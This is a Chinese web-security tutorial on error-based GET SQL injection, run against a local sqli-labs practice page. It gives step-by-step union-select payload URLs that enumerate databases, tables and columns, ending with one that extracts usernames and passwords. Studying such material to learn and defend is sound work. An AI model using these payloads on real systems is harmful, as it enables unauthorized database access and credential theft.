WEB安全基础 - - -SQL注入利用
目录
GET显错注入
GET显错注入流程
01 获取字段数 order by x 02 获取显示位 union select 1,2,3,4…… 03 获取数据库信息 version() , user() , @@datadir 04 获取当前数据库 database() , schema() , 05 获取所有数据库 06 获取数据库表 07 获取所有字段 08 获取数据
准备知识
逻辑运算符: and 、 or 、 != 注意:!!! and :并且,前后两条语句必须全为真,才为真,否则为假。 如: 1=1 and 2=2 真 1=1 and 1=2 假 or :或者,前后两条语句一条为真,就为真。 != :不等于。
--+ 注释符 limit 0,1 从你表中的第一个数据开始,只读取一个 order by 排序,判断字段数量,也就是表的列数 union select 联合查询,连接前面语句,起着合并查询的作用 group_concat 合并多行数据到一行 version() 当前数据库版本 database() 当前数据库 @@datadir 数据库数据路径 @@version_compile_os 操作系统版本
举例:基于错误的GET单引号字符型注入
1.判断注入点
http://127.0.0.1/sqli/Less-1/?id=1
2.判断闭合字符
http://127.0.0.1/sqli/Less-1/?id=1’
输入单引号 ‘ 出现报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 您的SQL语法有错误;请查看与您的MySQL服务器版本对应的手册,以了解要在第1行的“”1“”限制0,1“”附近使用的正确语法
可以看出1’被1"引用,所以对应的字符应该为"
进行and逻辑测试
http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+
3.根据order判断sql语句的查询列数
http://127.0.0.1/sqli/Less-1/?id=1' order by 5 --+
报错为:Unknown column '5' in 'order clause'
“Order子句”中的未知列“%5”
从 5向下一词尝试,最终得到正确列数为3
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
4.联合查询活得显示位
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
5.获取当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,(select database()),3 --+
6.获取所有数据库
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+
7. 获取当前数据库表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
8.获取users表所有字段:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users‘ --+
9. 获取security.users表所有字段
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
10.获取security.users表所有字段内容:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,':',password) from users --+
concat用法:
1. 功能:将多个字符串连接成一个字符串。
2. 语法: concat(str1, str2,...)
concat_ws用法
1. 功能:和 concat() 一样,将多个字符串连接成一个字符串,但是可以一次性指定
分隔符( concat_ws 就是 concat with separator )
2. 语法: concat_ws(separator, str1, str2, ...)
group_concat用法:
1. 功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
2. 语法: group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ]
[separator ' 分隔符 '] )
相关文章
- 【金猿人物展】龙盈智达首席数据科学家王彦博:量子科技为AI大数据创新发展注入新动能
- sql注入笔记
- SQL 显错注入
- iOS的应用代码注入防护
- 【Groovy】MOP 元对象协议与元编程 ( 方法注入 | 使用 Category 分类进行方法注入的优缺点 )
- Oracle中使用SQL创建数据表(oracle创建表sql)
- Oracle数据库:精通基础SQL(oracle基础sql)
- 掌握SQL语句, 打开Oracle大门(sql语句oracle)
- Oracle数据库表连接SQL技术指南(oracle表连接sql)
- MySQL中使用绑定变量防止SQL注入攻击(mysql绑定变量)
- MySQL与SQL不是同一回事(mysql 不等于sql)
- 的sql语句精益求精Oracle打造优雅的SQL语句(oracle书写好看)
- Oracle SQL基线检测实现安全性提升(oracle sql基线)
- SQLServer中用T—SQL命令查询一个数据库中有哪些表的sql语句
- Sql学习第一天——SQL将变量定义为Table类型(虚拟表)